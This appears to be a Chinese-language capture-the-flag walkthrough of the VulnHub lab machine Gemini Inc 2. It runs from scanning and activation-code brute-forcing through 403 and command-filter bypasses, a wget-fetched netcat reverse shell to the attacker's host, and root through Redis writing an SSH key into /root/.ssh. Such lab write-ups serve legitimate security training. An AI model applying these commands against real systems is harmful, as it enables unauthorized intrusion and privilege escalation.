系列:Gemini Inc(此系列共2台)
发布日期:2018年04月29日
注释: 使用vmwar workstation运行虚拟机
难度: 中
目标: 取得 root 权限 + Flag
攻击方法:
靶机地址:https://www.vulnhub.com/entry/gemini-inc-2,234/
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.239.0/24
nmap -p- 192.168.239.139
nmap -p22,80 -sV 192.168.239.139
分别进行了常规目录爆破,和文件后缀爆破
dirsearch -u http://192.168.239.139 --full-url
gobuster dir -r -u http://192.168.239.139 -x txt,html,php,bak,old,tar,zip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e
得到了一些有趣的页面:
激活页面:http://192.168.239.139/activate.php
黑名单页面:http://192.168.239.139/blacklist.txt
注册页面:http://192.168.239.139/registration.php
我先是用火狐浏览器注册的,页面没反应,换个别的浏览器出现反应了。第一次注册的时候给出一个提示,说不知道哪里出错了,第二次注册的时候提示账号已经注册了。
登录的时候得知需要一个6位数字的注册码,我在爆破目录的时候发现了一个激活页面,应该就是它了。
来到激活码页面,把我这个账号对应的id输进去。当我随便输入一个激活码的时候,页面没有任何反应,换用别的浏览器也是这样。我看了眼bp,首先确定爆破激活码的话需要绕Token;其次,猜测可能激活码输入正确时才会给出反应。那就开始爆破吧。
输入我们的id号,随便写个激活码,bp开启拦截,把拦截的数据包发送到爆破模块中。bp继续保持拦截!
攻击类型选择“Pitchfork”,然后选择设定攻击的两个对象
第二个参数的攻击模式选择:递归搜索(Recursive grep),下拉框的第6个选项
不多时,发现了一个与众不同的攻击信息。得知激活码是 000511
bp停止拦截数据包,刷新浏览器页面,已经可以看到个人信息了。
常规的信息收收集中,在用户列表中发现了名为“9emin1”的用户的“Rank”标签是“ Administrator ”,不妨试着登录这个账号试试。
如何登录这个账号呢?因为我的BP安装了HaE,我先是看了一眼,发现了一个敏感信息
不清楚html标签含义的话,参见这里:https://www.w3school.com.cn/tags/tag_comment.asp
来到https://www.cmd5.com/ ,破解得到密码:secretpassword
使用账号:Gemini、secretpassword登录网站,有个按钮提示我可以执行命令,但是当我尝试访问它的时候,页面没有显示任何内容,通过BP可以知道,我看不到内容的原因是IP地址不被允许访问。
虽然BurpSuite_403Bypasser已经探测到了bypass,但是这里我打算使用 “Bypass WAF”来绕过。
在BP应用商店搜索waf,你会看到“Bypass WAF”,根据介绍信息可以得知它主要用来ByPass403。
使用:
尝试执行命令时,提示命令中包含非法字符,想起 http://192.168.239.139/blacklist.txt 中有黑名单。
碰到这种情况,试试tab绕过呢?可以看到命令成功执行了,但是我这里没有收到连接
既然如此,我就投递nc重新来反弹shell,为了绕过过滤,这里把所有的请求体的+
替换为%09
。
在浏览器中依次执行如下命令:
wget http://192.168.239.138/nc -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc 192.168.239.138 4444
结果拿到的shell不能用,这一幕似曾相识。参见:https://www.yuque.com/u1881995/xwfvho/fdp6eb#brSWl
与以往靶机不同的是,我很确认自己投递的nc是带-e
功能的,那就指明终端重来
常规提权无效,提权脚本发现的漏洞也利用失败。漫无目的的翻看提权脚本的其他信息,发现靶机运行着redis和mysql,而redis是以root权限运行的。在redis默认路径下发现了它的配置文件,并获取了其登陆密码。
在使用过程中发现光标显示效果存在严重问题,如何解决?
在之前的打靶经验中曾经介绍过“SSH偷梁换柱”语雀地址、CSDN地址,可以通过SSH公钥身份认证登录解决上述的显示异常问题。
ssh-keygen
cd ~
mkdir .ssh
cd .ssh
/tmp/nc -nvlp 5555 > ./authorized_keys
nc -nv 192.168.239.139 5555 < id_rsa.pub -w 1
测试发现,kali投递 authorized_keys 或者 id_rsa.pub 都是可行的。因为这俩本来就是一个东西。
ssh [email protected]
由于redis是以root权限运行的,那么我们可以尝试把 gemini1 家目录下的authorized_keys
文件丢到root家里面,进而实现提权。
cd ~/.ssh
把authorized_keys转换为redis可以使用的格式
(echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt
ls
cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh
config set dbfilename "authorized_keys"
save